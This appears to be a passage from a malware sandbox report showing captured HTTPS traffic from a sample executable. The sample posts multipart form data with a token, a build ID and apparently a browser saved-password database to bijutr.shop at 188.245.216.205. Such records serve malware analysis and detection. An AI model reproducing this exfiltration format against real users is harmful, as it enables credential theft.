2024-12-27 07:20:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:27 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49770	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:27 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----6FU3EKF37QIE37Y5FUS0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 55081 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:27 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 46 55 33 45 4b 46 33 37 51 49 45 33 37 59 35 46 55 53 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 36 46 55 33 45 4b 46 33 37 51 49 45 33 37 59 35 46 55 53 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 36 46 55 33 45 4b 46 33 37 51 49 45 33 37 59 35 46 55 53 30 0d 0a 43 6f 6e 74 Data Ascii: ------6FU3EKF37QIE37Y5FUS0Content-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------6FU3EKF37QIE37Y5FUS0Content-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------6FU3EKF37QIE37Y5FUS0Cont
2024-12-27 07:20:27 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:27 UTC	16355	OUT	Data Raw: 32 68 68 63 6d 6c 75 5a 31 39 75 62 33 52 70 5a 6d 6c 6a 59 58 52 70 62 32 35 66 5a 47 6c 7a 63 47 78 68 65 57 56 6b 49 45 6c 4f 56 45 56 48 52 56 49 67 54 6b 39 55 49 45 35 56 54 45 77 67 52 45 56 47 51 56 56 4d 56 43 41 77 4c 43 42 72 5a 58 6c 6a 61 47 46 70 62 6c 39 70 5a 47 56 75 64 47 6c 6d 61 57 56 79 49 45 4a 4d 54 30 49 73 49 46 56 4f 53 56 46 56 52 53 41 6f 62 33 4a 70 5a 32 6c 75 58 33 56 79 62 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 5a 57 78 6c 62 57 56 75 64 43 77 67 64 58 4e 6c 63 6d 35 68 62 57 56 66 64 6d 46 73 64 57 55 73 49 48 42 68 63 33 4e 33 62 33 4a 6b 58 32 56 73 5a 57 31 6c 62 6e 51 73 49 48 4e 70 5a 32 35 76 62 6c 39 79 5a 57 46 73 62 53 6b 70 42 2f 67 41 4c 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 2hhcmluZ19ub3RpZmljYXRpb25fZGlzcGxheWVkIElOVEVHRVIgTk9UIE5VTEwgREVGQVVMVCAwLCBrZXljaGFpbl9pZGVudGlmaWVyIEJMT0IsIFVOSVFVRSAob3JpZ2luX3VybCwgdXNlcm5hbWVfZWxlbWVudCwgdXNlcm5hbWVfdmFsdWUsIHBhc3N3b3JkX2VsZW1lbnQsIHNpZ25vbl9yZWFsbSkpB/gALQAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:27 UTC	6016	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:29 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Dec 2024 07:20:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-27 07:20:29 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49776	188.245.216.205	443	6584	C:\Users\user\Desktop\aD7D9fkpII.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:20:29 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----US0R9RI58YM7YMGLX4W4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 142457 Connection: Keep-Alive Cache-Control: no-cache
2024-12-27 07:20:29 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 55 53 30 52 39 52 49 35 38 59 4d 37 59 4d 47 4c 58 34 57 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 36 32 35 31 64 39 64 32 33 33 66 63 36 63 36 34 64 31 64 65 32 33 65 35 65 61 32 64 64 35 61 0d 0a 2d 2d 2d 2d 2d 2d 55 53 30 52 39 52 49 35 38 59 4d 37 59 4d 47 4c 58 34 57 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 66 33 33 66 34 66 31 33 36 61 39 35 36 31 39 61 32 36 32 32 31 64 33 34 61 36 35 35 35 34 30 0d 0a 2d 2d 2d 2d 2d 2d 55 53 30 52 39 52 49 35 38 59 4d 37 59 4d 47 4c 58 34 57 34 0d 0a 43 6f 6e 74 Data Ascii: ------US0R9RI58YM7YMGLX4W4Content-Disposition: form-data; name="token"46251d9d233fc6c64d1de23e5ea2dd5a------US0R9RI58YM7YMGLX4W4Content-Disposition: form-data; name="build_id"9f33f4f136a95619a26221d34a655540------US0R9RI58YM7YMGLX4W4Cont
2024-12-27 07:20:29 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:29 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-27 07:20:29 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
